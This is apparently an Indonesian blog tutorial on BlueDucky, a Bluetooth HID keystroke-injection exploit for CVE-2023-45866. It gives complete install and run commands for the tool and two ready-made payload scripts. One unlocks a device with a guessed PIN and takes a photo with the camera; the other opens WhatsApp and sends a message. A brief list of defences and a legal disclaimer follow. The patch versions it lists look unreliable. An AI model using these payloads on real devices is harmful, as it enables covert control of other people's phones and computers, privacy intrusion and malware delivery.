BlueDucky Exploit: Memanfaatkan HID Bluetooth untuk Serangan Siber

Apa Itu BlueDucky?

BlueDucky adalah eksploitasi yang memanfaatkan kombinasi Rubber Ducky (HID attack) dan Bluetooth untuk menyerang perangkat yang rentan. Dengan eksploit ini, seorang penyerang bisa menyuntikkan perintah berbahaya ke komputer target melalui perangkat Bluetooth yang berfungsi sebagai keyboard atau perangkat input lainnya.

CVE dan Celah Keamanan

Eksploitasi ini memanfaatkan celah keamanan dalam protokol Bluetooth, terutama terkait dengan HID (Human Interface Device) over GATT. CVE utama yang digunakan dalam BlueDucky adalah:

• CVE-2023-45866: Celah keamanan yang memungkinkan perangkat Bluetooth yang belum terotorisasi untuk menyamar sebagai keyboard atau mouse dan mengeksekusi perintah di sistem target tanpa interaksi pengguna.

Celah ini ditemukan dalam berbagai sistem operasi, terutama yang memiliki dukungan Bluetooth HID tanpa mekanisme otentikasi yang kuat. Sistem yang rentan terhadap eksploitasi ini meliputi:

• Linux
• macOS
• iOS
• Android

Beberapa vendor telah merilis patch untuk mengatasi masalah ini:

• macOS & iOS: Perbaikan dirilis dalam macOS Ventura 13.2 dan iOS 16.7.
• Linux: Kernel Linux telah diperbarui dalam versi 6.1 untuk menutup celah ini.
• Android: Google telah merilis patch keamanan dalam pembaruan terbaru Android Security Bulletin.

Cara Kerja BlueDucky

Project BlueDucky memanfaatkan celah dalam proses otentikasi dan enkripsi pada Bluetooth HID Hosts. Dengan menggunakan perangkat HID yang dimodifikasi, alat ini dapat membentuk koneksi terenkripsi dengan perangkat yang rentan dan mulai mengirimkan penekanan tombol yang dapat digunakan untuk berbagai tujuan berbahaya, seperti membuka aplikasi, memasukkan perintah, atau mengunduh perangkat lunak berbahaya.

BlueDucky bekerja dengan cara berikut:

1. Pairing Bluetooth: Penyerang menghubungkan perangkat berbasis Bluefruit nRF52840 atau ESP32 BLE Keyboard ke target melalui Bluetooth.
2. HID Injection: Perangkat menyamar sebagai keyboard atau mouse dan mengirimkan payload dalam bentuk keystroke otomatis.
3. Eksekusi Payload: Perintah berbahaya (misalnya membuka terminal dan mengunduh malware) dieksekusi di komputer target tanpa sepengetahuan pengguna.

Cara Install BlueDucky

Instalasi di Debian

# update apt
sudo apt-get update
sudo apt-get -y upgrade

# install dependencies from apt
sudo apt install -y bluez-tools bluez-hcidump libbluetooth-dev \
                    git gcc python3-pip python3-setuptools \
                    python3-pydbus

# install pybluez from source
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install

# build bdaddr from the bluez source
cd ~/
git clone --depth=1 https://github.com/bluez/bluez.git
gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth
sudo cp bdaddr /usr/local/bin/

Instalasi di Arch Linux

# update pacman & packages
sudo pacman -Syyu

# install dependencies
# since arch doesn't separate lib packages: libbluetooth-dev included in bluez package
sudo pacman -S bluez-tools bluez-utils bluez-deprecated-tools \
               python-setuptools python-pydbus python-dbus \
               git gcc python-pip 

# install pybluez from source
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install

# build bdaddr from the bluez source
cd ~/
git clone --depth=1 https://github.com/bluez/bluez.git
gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth
sudo cp bdaddr /usr/local/bin/

Menjalankan BlueDucky di Linux

git clone https://github.com/pentestfunctions/BlueDucky.git
cd BlueDucky
sudo hciconfig hci0 up
pip3 install -r requirements.txt 
python3 BlueDucky.py

Contoh Payload Sederhana

Payload untuk Membuka Kamera

REM Payload Script for BlueDucky to Open Camera

REM Author : Van | Tegalsec

REM Enable HID Bluetooth device and establish a connection
REM (Assuming BlueDucky setup is already done and the device is connected)

REM Simulate key presses to unlock the device (customize as per the device's unlock method)
DELAY 2000
STRING 1234 // Replace with the device's unlock PIN or pattern

REM Open Camera
DELAY 500
APP_SWITCH
DELAY 200
STRING camera
DELAY 500
ENTER

REM Wait for Camera to open
DELAY 2000

REM Optionally, take a picture (simulate pressing the shutter button)
ENTER

REM Exit Camera
DELAY 500
HOME

Payload untuk Mengirim Pesan WhatsApp

REM Payload Script for BlueDucky to Open WhatsApp and Send a Message

REM Author : Van | Tegalsec

REM Enable HID Bluetooth device and establish a connection
REM (Assuming BlueDucky setup is already done and the device is connected)

REM Simulate key presses to unlock the device (customize as per the device's unlock method)
DELAY 2000
STRING 1234 // Replace with the device's unlock PIN or pattern

REM Open WhatsApp
DELAY 500
APP_SWITCH
DELAY 200
STRING whatsapp
DELAY 500
ENTER

REM Wait for WhatsApp to open
DELAY 2000

REM Start a new chat (assuming the contact is in recent chats)
DELAY 500
TAB
DELAY 200
ENTER

REM Type the message
DELAY 500
STRING Hello, this is a test message.
DELAY 500

REM Send the message
ENTER

REM Exit WhatsApp
DELAY 500
HOME

Penjelasan payload:

1. Unlock the Device:
   • Skrip dimulai dengan simulasi membuka kunci perangkat menggunakan PIN yang telah ditentukan (1234). Sesuaikan bagian ini berdasarkan metode membuka kunci perangkat target.
2. Open WhatsApp:
   • Skrip ini mensimulasikan penekanan tombol untuk membuka switcher aplikasi, mencari aplikasi WhatsApp, dan membukanya.
3. Start a New Chat:
   • Skrip ini akan membuka obrolan baru atau mengakses obrolan terakhir.
4. Type and Send Message:
   • Skrip ini akan mengetik pesan dan mengirimkannya secara otomatis.
5. Exit WhatsApp:
   • Skrip mengakhiri dengan keluar dari aplikasi WhatsApp dengan menekan tombol HOME.

Untuk melindungi diri dari serangan BlueDucky, berikut beberapa langkah yang bisa diambil:

1. Matikan Bluetooth jika tidak digunakan.
2. Gunakan whitelist perangkat Bluetooth yang diperbolehkan.
3. Update OS dan driver Bluetooth ke versi terbaru.
4. Nonaktifkan fitur auto-pairing pada perangkat Bluetooth.

Kesimpulan

BlueDucky merupakan eksploitasi yang memanfaatkan kelemahan dalam Bluetooth HID untuk melakukan serangan injection ke komputer target. Dengan kombinasi hardware seperti ESP32 atau nRF52840, seorang penyerang bisa mengeksekusi perintah berbahaya dengan cara yang hampir tidak terdeteksi. Oleh karena itu, penting bagi pengguna untuk selalu memperbarui sistem dan menerapkan langkah-langkah keamanan untuk mencegah serangan ini.

---

⚠ Disclaimer: Artikel ini dibuat untuk tujuan edukasi dan pengujian keamanan. Penyalahgunaan informasi dalam artikel ini bisa melanggar hukum!

Referensi :

https://blog.tegalsec.org/unveiling-cve-2023-45866-a-critical-bluetooth-vulnerability/

https://github.com/pentestfunctions/BlueDucky